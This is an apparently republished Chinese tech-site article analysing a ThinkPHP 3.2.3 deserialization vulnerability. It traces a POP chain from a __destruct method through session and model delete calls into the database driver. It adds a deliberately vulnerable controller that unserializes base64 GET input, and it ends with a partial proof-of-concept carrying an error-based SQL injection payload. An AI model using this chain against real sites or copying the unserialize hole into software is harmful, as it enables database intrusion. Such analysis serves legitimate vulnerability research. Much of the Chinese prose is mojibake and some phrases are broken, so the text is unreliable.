溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Thinkphp3.2.3反序列化漏洞實(shí)例代碼分析

發(fā)布時(shí)間:2023-02-25 09:51:00 來源:億速云 閱讀:266 作者:iii 欄目:開發(fā)技術(shù)

這篇文章主要介紹“Thinkphp3.2.3反序列化漏洞實(shí)例代碼分析”的相關(guān)知識(shí),小編通過實(shí)際案例向大家展示操作過程,操作方法簡單快捷,實(shí)用性強(qiáng),希望這篇“Thinkphp3.2.3反序列化漏洞實(shí)例代碼分析”文章能幫助大家解決問題。

魔術(shù)方法

以下面這個(gè)魔術(shù)方法為例:

_destruct

該方法的作用是,某個(gè)對象的所有引用都被刪除或者當(dāng)對象被顯式銷毀時(shí)執(zhí)行。例如下面代碼:

<?php
class User{
    public function __destruct()
    {
        echo "xino</br>";
    }
}
$test = new User();
$ser = serialize($test);
unserialize($ser);
?>

執(zhí)行后會(huì)發(fā)現(xiàn)調(diào)用了魔術(shù)方法,我們要想辦法來尋找代碼之間的關(guān)系來構(gòu)造 反序列化鏈

復(fù)現(xiàn)

這里我是用小皮面板搭建好環(huán)境后開始我們的分析,下面是主界面:

Thinkphp3.2.3反序列化漏洞實(shí)例代碼分析

需要在控制器IndexController.class.php 處寫入:

public function index(){
    unserialize(base64_decode($_GET[1]));
}

首先走到Library/Think/Image/Driver/Imagick.class.php ,代碼如下:

 public function __destruct()
    {
        empty($this->img) || $this->img->destroy();
    }
}

這里有一個(gè)可控的變量img,因?yàn)樵撟兞孔呦蛄薲estory(),于是我們尋找一下:

Library/Think/Session/Driver/Memcache.class.php ,該處有個(gè)一樣的方法:

 public function destroy($sessID)
    {
        return $this->handle->delete($this->sessionName . $sessID);
    }

我們會(huì)發(fā)現(xiàn)handle和sessionName參數(shù)是可控,因?yàn)樽呦蛄薲elete函數(shù),于是繼續(xù)跟進(jìn)尋找delete,在Mode/Lite/Model.class.php 處:

   public function delete($options = array())
    {
        $pk = $this->getPk();
        if (empty($options) && empty($this->options['where'])) {
            // 如果刪除條件為空 則刪除當(dāng)前數(shù)據(jù)對象所對應(yīng)的記錄
            if (!empty($this->data) && isset($this->data[$pk])) {
                return $this->delete($this->data[$pk]);
            } else {
                return false;
            }
        }
        if (is_numeric($options) || is_string($options)) {
            // 根據(jù)主鍵刪除記錄
            if (strpos($options, ',')) {
                $where[$pk] = array('IN', $options);
            } else {
                $where[$pk] = $options;
            }
            $options          = array();
            $options['where'] = $where;
        }
        // 根據(jù)復(fù)合主鍵刪除記錄
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) {
                    $count++;
                }
            }
            if (count($pk) == $count) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where'] = $where;
            } else {
                return false;
            }
        }
        // 分析表達(dá)式
        $options = $this->_parseOptions($options);
        if (empty($options['where'])) {
            // 如果條件為空 不進(jìn)行刪除操作 除非設(shè)置 1=1
            return false;
        }
        if (is_array($options['where']) && isset($options['where'][$pk])) {
            $pkValue = $options['where'][$pk];
        }
        if (false === $this->_before_delete($options)) {
            return false;
        }
        $result = $this->db->delete($options);		//數(shù)據(jù)庫驅(qū)動(dòng)類中的delete()
        if (false !== $result && is_numeric($result)) {
            $data = array();
            if (isset($pkValue)) {
                $data[$pk] = $pkValue;
            }
            $this->_after_delete($data, $options);
        }
        // 返回刪除記錄個(gè)數(shù)
        return $result;
    }

這里比較復(fù)雜,需要分析一下,pk,pk,pk,data,$options參數(shù)都是可控的,第二次調(diào)用該函數(shù)后是調(diào)用db(Library/Think/Db/Driver.class.php )里面的函數(shù),進(jìn)去看一下:

$table = $this-&gt;parseTable($options['table']);
$sql   = 'DELETE FROM ' . $table;
return $this-&gt;execute($sql, !empty($options['fetch_sql']) ? true : false);

這里只貼了比較關(guān)鍵的代碼,看到table經(jīng)過parseTable處理之后進(jìn)了sql語句,跟進(jìn)了發(fā)現(xiàn)沒有過濾什么,直接返回了數(shù)據(jù),最后調(diào)用了execute,我們分析其代碼:

 public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

看到第二行是一個(gè)初始化連接的代碼,我們跟進(jìn)到最后發(fā)現(xiàn):

 public function connect($config = '', $linkNum = 0, $autoConnection = false)
    {
        if (!isset($this->linkID[$linkNum])) {
            if (empty($config)) {
                $config = $this->config;
            }
            try {
                if (empty($config['dsn'])) {
                    $config['dsn'] = $this->parseDsn($config);
                }
                if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
                    // 禁用模擬預(yù)處理語句
                    $this->options[PDO::ATTR_EMULATE_PREPARES] = false;
                }
                $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
            } catch (\PDOException $e) {
                if ($autoConnection) {
                    trace($e->getMessage(), '', 'ERR');
                    return $this->connect($autoConnection, $linkNum);
                } elseif ($config['debug']) {
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }

可以通過里面的相應(yīng)代碼:

$this->config

建立數(shù)據(jù)庫連接,整個(gè)的POP鏈跟進(jìn)順序如下:

__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->

因?yàn)闃?gòu)造poc較長,這里只貼關(guān)鍵處,有興趣的小伙伴可以自行去構(gòu)造:

  public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "name where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            ); }

生成后傳入payload即可實(shí)現(xiàn)錯(cuò)報(bào)注入,體現(xiàn)在payload里就是table這個(gè)語句,經(jīng)過一串的操作使之與數(shù)據(jù)庫連接來執(zhí)行sql語句

關(guān)于“Thinkphp3.2.3反序列化漏洞實(shí)例代碼分析”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注億速云行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI